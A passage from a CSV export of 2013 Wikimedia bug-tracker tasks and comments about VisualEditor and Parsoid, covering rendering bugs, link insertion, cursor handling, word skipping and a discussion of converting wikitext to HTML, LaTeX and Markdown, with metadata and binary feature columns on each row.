+**Severity**: normal",Needs Triage,90.0,1367047080,1367097296.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-ul25dgz4nyeridoqmsqg,task_description,resolved,True,c1,1,False,False,True,-10,,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+207992,[VisualEditor] CSS and JS pages should only be editable using the source editor,"
+
+*** This bug has been marked as a duplicate of bug 47456 ***",,,1367097296,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ul25dgz4nyeridoqmsqg,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+49755,Feedback is broken,"**Author:** `benedix`
+
+**Description:**
+One of the feedback-mechanisms in the VisualEditor is broken:
+
+'visual editor' -> 'review and save' -> 'something is wrong' -> 'report problem'
+
+I made a little test:
+http://www.youtube.com/watch?v=Zzt_2CBfTNI (35 seconds)
+
+The feedback is sent to http://parsoid.wmflabs.org/_bugs/ but the request is canceled after a few seconds. 
+
+
+Btw. There is no visual feedback to the user that shows him to wait while the request is pending.
+
+
+Lukas
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1367013780,1367222196.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-a56uzvltsvz2gw6egtar,task_description,invalid,True,c1,1,False,False,True,-10,,1,1,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+207265,Feedback is broken,"Not actually broken, see bug 42974.",,,1367222196,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-a56uzvltsvz2gw6egtar,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+49751,A paragraph with multiple hash marks in the beginning is shown differently in VE and in output page,"See the URL for a demo.
+
+The last line in the source of the demo page has an empty paragraph before it and several hash marks in the beginning.
+
+In the output page it is shown as ""1. 1. 1. 1. 1. 1. 1. A"".
+
+In the VE it is shown as
+1.
+ 1.
+  1.
+   1.
+    1.
+     1.
+      1. A
+
+This is an edge case but it should should probably be identical in any case.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://www.mediawiki.org/wiki/VisualEditor:Multiple_hashes",Needs Triage,90.0,1367008080,1367009441.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-exyn4bfiq2igip2xy6r4,task_description,declined,True,c1,1,False,False,True,-10,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+233225,A paragraph with multiple hash marks in the beginning is shown differently in VE and in output page,"Confirm that this is intentional behaviour. There are a number of ways in which VisualEditor is deliberately not merely a WYSIWYG editor, and we should probably explain them so it's less confusing.",,,1367019704,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-exyn4bfiq2igip2xy6r4,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0
+233217,A paragraph with multiple hash marks in the beginning is shown differently in VE and in output page,As far as I know it is supposed to be that way - otherwise you wouldn't be able to add content to list item at each level. James - please confirm (and reopen if I'm wrong).,,,1367009441,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-exyn4bfiq2igip2xy6r4,task_subcomment,,True,c1,1,False,,,-10,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+49546,VisualEditor: Adding a hyperlink to an exsisting page deletes the line. The link doesn't get inserted (undefined),"**Author:** `mh87`
+
+**Description:**
+I tried to add a link to a word. The page containing this word already exsists so the Editor tells me ""Matching pages"" and lists the word.
+
+When I click the matching word to add the Hyperlink the word says ""undefined"". After clicking ok the whole line gets deleted
+
+MediaWiki Alpha 1.22
+VisualEditor 0.1.0 (latest snapshot)
+Chrome 26.0.1410.64 m
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**OS**: Windows 7
+**Platform**: PC",Needs Triage,90.0,1366719660,1366741802.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ajr6uvwq3l2hdzyqjden,task_description,resolved,True,c1,1,False,False,True,-10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0
+219973,VisualEditor: Adding a hyperlink to an exsisting page deletes the line. The link doesn't get inserted (undefined),"
+
+*** This bug has been marked as a duplicate of bug 47413 ***",,,1366741802,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ajr6uvwq3l2hdzyqjden,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+219969,VisualEditor: Adding a hyperlink to an exsisting page deletes the line. The link doesn't get inserted (undefined),"**mh87** wrote:
+
+After click on the matching link item it says undefined
+
+**Attached**: {F10658}",,,1366719765,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ajr6uvwq3l2hdzyqjden,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+49419,"VisualEditor: Dirty diffs with FF, but not in Chrome on pages with citations","Performing small edits on pages with citations like http://en.wikipedia.org/wiki/JRuby results in a clean diff in Chrome, but produces a dirty diff when using Firefox.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1366388640,1366391720.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-ob7cxxrhd6d3aeazrujm,task_description,resolved,True,c1,1,True,False,True,-11,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+212180,"VisualEditor: Dirty diffs with FF, but not in Chrome on pages with citations","
+
+*** This bug has been marked as a duplicate of bug 47417 ***",,,1366391720,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ob7cxxrhd6d3aeazrujm,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+212174,"VisualEditor: Dirty diffs with FF, but not in Chrome on pages with citations","Example edit:
+https://en.wikipedia.org/w/index.php?title=User:Fluffernutter/Kinne&curid=37842561&diff=551148728&oldid=551148307",,,1366388836,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ob7cxxrhd6d3aeazrujm,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+49258,VisualEditor: Problem with placing cursor inside slug (inline|block) with mouse,"Cursor correctly appear and blinks in slug, but surface completely does not know about it, so when user start typing it does not convert slug into paragraph (for block level slug) or delete slug (for inline slug).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1366058760,1366059192.0,PHID-USER-s7sn3zjthnxvep34c5ho,False,,False,PHID-TASK-vav3ssxyt7puz6mth7ck,task_description,resolved,True,c1,1,False,False,True,-11,,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+228421,VisualEditor: Problem with placing cursor inside slug (inline|block) with mouse,Fixed here: https://gerrit.wikimedia.org/r/#/c/59199/,,,1366059192,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-vav3ssxyt7puz6mth7ck,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+48794,VisualEditor: Add whitespace skipping to UnicodeJS.wordbreak for word skipping functionality,"Currently we can't use the UnicodeJS.wordbreak library to emulate word skipping (ctrl+arrow / alt+arrow) functionality as wordbreaks appear either side of whitespace and between multiple whitespaces:
+
+|One| |Two| | |Three|
+
+Moving forwards we expect the cursor to stop in the following positions:
+One| Two| Three|
+
+Moving backwards we expect:
+|One |Two |Three
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1364916660,1366142624.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-ryyonehlcnqdc46zjg2w,task_description,resolved,True,c1,1,True,False,True,-13,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+225500,VisualEditor: Add whitespace skipping to UnicodeJS.wordbreak for word skipping functionality,Now fixed.,,,1366142624,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ryyonehlcnqdc46zjg2w,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+225490,VisualEditor: Add whitespace skipping to UnicodeJS.wordbreak for word skipping functionality,Related URL: https://gerrit.wikimedia.org/r/58868 (Gerrit Change I6b2700d65476c4d34ba4a01a88382d7af8e736fb),,,1365765433,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ryyonehlcnqdc46zjg2w,task_subcomment,,True,c1,1,False,,,-12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+225481,VisualEditor: Add whitespace skipping to UnicodeJS.wordbreak for word skipping functionality,Actually Ed is still working on it.,,,1365029413,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-ryyonehlcnqdc46zjg2w,task_subcomment,,True,c1,1,False,,,-13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+225476,VisualEditor: Add whitespace skipping to UnicodeJS.wordbreak for word skipping functionality,I have added better support for skipping white spaces in 4th patch set: https://gerrit.wikimedia.org/r/#/c/57076/,,,1365024583,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-ryyonehlcnqdc46zjg2w,task_subcomment,,True,c1,1,False,,,-13,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0
+225473,VisualEditor: Add whitespace skipping to UnicodeJS.wordbreak for word skipping functionality,"Looking at other implementations, sepcifically OpenOffice, they have an ""ignore whitespace"" mode in their nextWord function:
+
+https://svn.apache.org/repos/asf/incubator/ooo/symphony/trunk/main/i18npool/source/breakiterator/breakiterator_unicode.cxx
+
+which calls an is_whitepsace function, which is defined as:
+http://www.icu-project.org/apiref/icu4c/uchar_8h.html#a5cef869b23e8d8e649963457cccca68e",,,1364916742,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ryyonehlcnqdc46zjg2w,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+48619,VisualEditor: Allow nodes to handle their own children,"DM nodes should be able to handle their own children, rather than having the converter do it for them.
+
+This means we need a .static.handlesOwnChildren flag or something similar, and a way for .toDataElement to recursively invoke the converter to convert a sub-DOM to a sub-linmod.
+
+Reflecting this, CE nodes should be able to take control of the rendering of their children as well.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1364433480,1366130702.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-4q75ixwk7yvcayzud2qd,task_description,resolved,True,c1,1,False,False,True,-14,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+214760,VisualEditor: Allow nodes to handle their own children,Done in https://gerrit.wikimedia.org/r/#/c/58645/ and related commits.,,,1366130702,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-4q75ixwk7yvcayzud2qd,task_subcomment,,True,c1,1,False,,,-11,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+48520,VisualEditor to edit infobox text fields,"Currently VisualEditor users can't touch infoboxes. It would be great to have edit access to the text fields of infoboxes.
+
+Being able to update images would be a plus.
+
+Modification of the infobox itself (e.g. addition of new fields) is out of scope here.
+
+
+I'm filing this request in relation to 
+
+""Wikidata provides data for Wikipedia's infoboxes. The goal of this project is easy editing of the data for a given infobox on the Wikipedia, without having to go to Wikidata.""
+http://www.mediawiki.org/wiki/Mentorship_programs/Possible_projects#On-site_editing
+
+By the time those Wikipedia infoboxes would be filled with Wikidata data, 
+""easy editing"" should be provided by VisualEditor.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1364167560,1364167729.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-sk3uspo3yfsnwm2o672b,task_description,resolved,True,c1,1,False,False,True,-15,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,0
+208358,VisualEditor to edit infobox text fields,"Very much on the roadmap already.
+
+The Wikidata integration is another issue; will talk with Denny and see about opening distinct bugs for that stuff.
+
+*** This bug has been marked as a duplicate of bug 39598 ***",,,1364167729,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sk3uspo3yfsnwm2o672b,task_subcomment,,True,c1,1,True,,,-15,,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+48516,Generalise the Parsoid structure and internal representations.,"So Molly and I are at LibrePlanet talking about bug 37933.
+
+We decided that while Wikitext --> HTML --> LaTeX is possible, it's not terribly useful and doesn't really take advantage of the structure of Parsoid - we see it as adding an extra stage to the parse, which will potentially add to the time the parse takes, as opposed to having a generalized token stream and only starting to convert to a format after the token stream is actually ready.
+
+Obviously this means a few of big things, potentially:
+
+1. The DOM post processor needs to either run before the HTML5 tree builder, on tokens or some other structure, or it needs to be emulated for each format. I'm leaning towards the former, because if we're going to export to multiple formats it would make more sense to have one file for each format that builds the export from a token structure, rather than two files each, which build the export and do the postprocessing.
+
+2. Because we aren't actually dealing with HTML, necessarily, in the end, we shouldn't be talking about tokens with HTML-specific tag names. Probably we could just use canonical Parsoid-specific names - something like http://www.mediawiki.org/wiki/Parsoid/RDFa_vocabulary - or maybe something similar to the *_NODE attributes in DOM nodes, with a mapper to some canonical integer values that are defined in the base Token class.
+
+Footnote: As I was thinking about this and trying to come up with how I wanted it to look, I realized that the problem was that I was looking at it as wanting to convert between WT and either LaTeX or HTML, but if we wound up following our long term plan, ""LaTeX export"" would also require HTML-to-LaTeX, because HTML would be our storage mechanism. So I think it might be better to rewrite each bit of our system to convert each format to and from a canonical internal representation, rather than to and from any one other format.
+
+I'm posting here because I want thoughts and feedback. It should be noted that bug 37934 would also benefit from any of the work we did on the generalisation problem - and we could probably open a tracking bug to figure out all of these things more generally.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1364163180,1364323385.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-jhlniwxu2ykuroltxk3l,task_description,declined,True,c1,1,True,False,True,-15,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+208160,Generalise the Parsoid structure and internal representations.,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934009,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+208157,Generalise the Parsoid structure and internal representations.,"**molly.white5** wrote:
+
+From my brief look at pandoc, it appears that it can do it. As always, it's roundtripping that's the issue.",,,1364231575,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,1,False,,,-14,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+208153,Generalise the Parsoid structure and internal representations.,"I agree. If we wind up supporting Markdown, it will be because we've found a way to do HTML <--> Markdown, or at least one direction or t'other. Converting to HTML is simple enough, at least.",,,1364231508,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,1,True,,,-14,,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1
+208148,Generalise the Parsoid structure and internal representations.,"**molly.white5** wrote:
+
+I agree that LaTeX to wikitext would not be terribly useful. I wonder if the community would benefit from having some other formats be two-way, though. I'm sure there are people out there who would rather write their articles using Markdown... Then again, if we're trying to make the switch to the VisualEditor anyway, the ability to write articles in Markdown would be of only temporary value.",,,1364231440,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,1,False,,,-14,,1,0,0,0,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+208142,Generalise the Parsoid structure and internal representations.,"I think we could call that ""of dubious usefulness"", but you're the one who's going to have to implement it, so I probably shouldn't dictate anything. In any case I think LaTeX and HTML have a much closer 1:1 ratio than WT and HTML, so it should be much easier to add in, even if it winds up being an afterthought.
+
+And as ever, we're in IRC if you'd like any help or guidance :)",,,1364231169,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,1,True,,,-14,,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+208135,Generalise the Parsoid structure and internal representations.,"**molly.white5** wrote:
+
+Alright, that sounds fine as long as you're not concerned with the speed. I'm not familiar with pandoc, but I'll read up on it. I'm curious to see how they perform wikitext <-> LaTeX and HTML <-> LaTeX.
+
+Have you discussed whether or not we'll want to be able to roundtrip wikitext and LaTeX?",,,1364229706,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,1,False,,,-14,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+208128,Generalise the Parsoid structure and internal representations.,"We're chatting on IRC currently, and I think the rough consensus is something like...""HTML should be the common format, and the rest can deal with it."" This makes some amount of sense, though it does mean that, temporarily at least, we'll have to deal with parsing WT to HTML before going to other formats. Since anything beyond that is relatively fast, in terms of performance, we can live with that issue for now.
+
+So Molly, we'll throw out the insane charts and maps we've drawn up (which really just consists of one chalk scribble at Harvard) and see what HTML can offer as an intermediary format - to that end, I guess gwicke's suggestion of pandoc is a good place to start.",,,1364228786,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,1,True,,,-14,,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+208121,Generalise the Parsoid structure and internal representations.,"Reg. 1. the DOM post processor cannot run before the DOM is built, it requires information that is available only after the DOM is fully built.",,,1364227272,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jhlniwxu2ykuroltxk3l,task_subcomment,,True,c1,1,True,,,-14,,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0
+208110,Generalise the Parsoid structure and internal representations.,"I just ran a quick serialize to see what the timing was like in comparison to a parse - in case we decide to convert HTML into an intermediary format that would translate into whatever other format we want to use. I think the two seconds that it takes to serialize wouldn't be greatly affected by an extra step in the serializer process, and I think the benefits of having a general solution for converting between formats would be greatly 